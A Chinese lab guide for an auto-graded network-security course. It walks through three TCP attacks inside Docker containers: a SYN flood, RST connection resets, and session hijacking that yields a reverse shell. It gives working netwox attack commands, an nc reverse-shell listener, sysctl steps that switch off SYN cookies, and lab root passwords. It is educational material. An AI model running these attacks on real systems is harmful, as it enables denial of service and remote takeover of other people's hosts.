上面的链接文章对于实验的多种实现方式(netwox工具、scapy脚本以及c语言的攻击实现)都有介绍,本文主要针对实验环境和步骤细节进行补充,所以所有的攻击只使用netwox工具实现。预祝大家实验顺利,顺利AC。
目录
常用命令
# 启用docker容器
sudo docker exec -it $username$ /bin/bash
# 重启docker容器
sudo docker restart $username$
# 重启telnet服务
/etc/init.d/openbsd-inetd restart
# 查看TCP SYN队列大小
sysctl -q net.ipv4.tcp_max_syn_backlog
# 查看内核重传次数
sysctl -q net.ipv4.tcp_synack_retries
# 查看syn cookies 开启状态
sysctl -q net.ipv4.tcp_syncookies
# 修改TCP SYN队列大小
sysctl -w net.ipv4.tcp_max_syn_backlog=n
# 修改内核重传次数
sysctl -w net.ipv4.tcp_synack_retries=n
# 修改syn cookies 开启状态
sysctl -w net.ipv4.tcp_syncookies=0||1 # 0 : 关闭 1 : 开启
# 开启wireshark
sudo wireshark # 注意一定要sudo权限开启wireshark,否则看不到docker0接口的流量
实验一:TCP SYN flood攻击实验
实验环境介绍
实验有3个docker容器,分别为user(作为初始连接,IP 172.17.0.2),server(作为服务器和被攻击对象,IP 172.17.0.3),user2(作为攻击成功后的验证连接,IP 172.17.0.4),虚拟机本身(作为攻击者,IP 172.17.0.1),其中虚拟机开启后默认开启所有的docker,server默认开启telnet服务,登录用户名root,密码123456,并且默认开启tcp syn cookies。虚拟机开机密码:123456,串行控制台登录用户名:ubuntu
攻击过程
- 为了保证攻击成功,建议设置TCP的队列大小为128,重传次数10,并且关闭cookies,重启telnet服务,具体的命令见常用命令。
- 使用user连接server验证连接有效
- 在虚拟机上使用netwox发起攻击
sudo netwox 76 -i 172.17.0.3 -p 23
- 等待一段时间后,使用user2尝试连接server,如果失败则攻击成功,如果连接成功则攻击失败,攻击失败后建议重启所有容器(按照user server user2 顺序重启,否则IP更改影响自动化测评)重新尝试实验。
- 攻击成功后,不要关闭netwox或自己的攻击脚本,直接点击提交即可。
实验二:TCP RST攻击实验
实验环境介绍
实验环境中有2个docker容器,分别是user,IP172.17.0.2和server,IP172.17.0.3,其中user作为连接server的正常用户,server作为受害者,虚拟机本身IP172.17.0.1作为攻击者,虚拟机默认开启两个docker,server默认开启telnet服务,登录用户名root,密码123456.这里的攻击不建议使用手动单次攻击,单次攻击行为难以判定,平台没有实现对于单次攻击的自动化评测,所以建议使用netwox进行自动化攻击,或者使用scapy脚本循环发起攻击。
攻击过程
- 首先使用user连接server验证可以连接成功
- 在虚拟机上使用netwox发动攻击
sudo netwox 78 -d docker0
- 原user发起的连接被动断开
- 保持攻击状态不变,点击提交。
- 再次在user上尝试进行连接失败
实验三:TCP会话劫持攻击实验
会话劫持实验是反向shell的基础,这里只演示反向shell实验。
实验环境介绍
实验环境中有2个docker容器,分别是user,IP172.17.0.2和server,IP172.17.0.3,其中user作为连接server的正常用户,server作为受害者,虚拟机本身IP172.17.0.1作为攻击者,虚拟机默认开启两个docker,server默认开启telnet服务,登录用户名root,密码123456.这里的攻击需要使用到wireshark,注意使用命令行启动。
攻击过程
- 打开wireshark,选择docker0接口进行流量抓包。参考命令见常用命令。
- 使用user连接server,并进行任意通信。
- 在虚拟机(攻击者)中开启反向shell监听
sudo nc -lvp 4567 -s 172.17.0.1
- 查看wireshark user与server通信的最后一个user发出且没有server回应的报文,获取端口号/seq/ack等关键信息
- 使用netwox发起攻击
- 原监听程序能控制server,攻击成功.
- 保持会话,点击提交。